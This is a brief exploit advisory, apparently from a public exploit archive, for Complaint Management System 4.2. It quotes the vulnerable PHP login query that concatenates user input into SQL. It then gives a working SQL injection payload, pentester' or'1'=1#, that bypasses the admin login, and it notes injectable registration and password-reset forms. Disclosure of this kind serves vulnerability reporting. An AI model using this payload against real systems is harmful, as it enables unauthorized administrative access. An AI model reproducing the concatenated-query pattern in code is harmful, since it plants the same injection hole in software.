Complaint Management System 4.2 SQL Injection

Complaint Management System version 4.2 suffers a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | 9c0e28234e7f23ebaa4ce565fb372c61

# Exploit Title: Complaint Management System 4.2 - Authentication Bypass
# Author: Besim ALTINOK
# Vendor Homepage:
# Software Link:
# Version: v4.2
# Tested on: Xampp
# Credit: İsmail BOZKURT

------ Details:

1- Vulnerable code is here:

$ret=mysqli_query($con,"SELECT * FROM admin WHERE
username='$username' and password='$password'");

2- We can bypass authentication with SQLi:

Bypass code (admin login panel):

Username: pentester' or'1'=1#
Password : pentester' or'1'=1#

Finally: There is a lot of SQLi input in this project. Like, login,
registration, forgot password ...

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